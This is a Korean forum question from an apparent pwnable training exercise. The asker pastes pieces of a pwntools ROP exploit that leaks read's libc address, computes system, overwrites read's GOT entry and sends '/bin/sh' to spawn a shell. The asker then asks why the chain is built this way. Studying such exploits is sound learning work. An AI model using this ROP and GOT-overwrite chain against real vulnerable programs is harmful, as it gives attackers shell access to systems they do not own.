완료됨
GOT Overwrite 및 “/bin/sh” 입력 익스부터 이해가 되지 않습니다.
read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)
p.sendafter("Buf: ", payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
slog("read", read)
slog("libc base", lb)
slog("system", system)
p.send(p64(system)+b"/bin/sh\x00")
시스템 주소 계산과 GOT overwrite 개념까지는 이해를 했지만 위의 GOT overwrite 익스 코드부터 왜 저런 코드를 작성했는지 잘 모르겠습니다. 혹시 천천히 왜 read(0, read@got, 0)랑 read("/bin/sh")를 호출했고 입력이 끝났는데 어떻게 마지막에p.send(p64(system)+b"/bin/sh\x00") 호출했는지 설명 해주실 분 있으신가요?..
#pwnable
작성자 정보
답변
2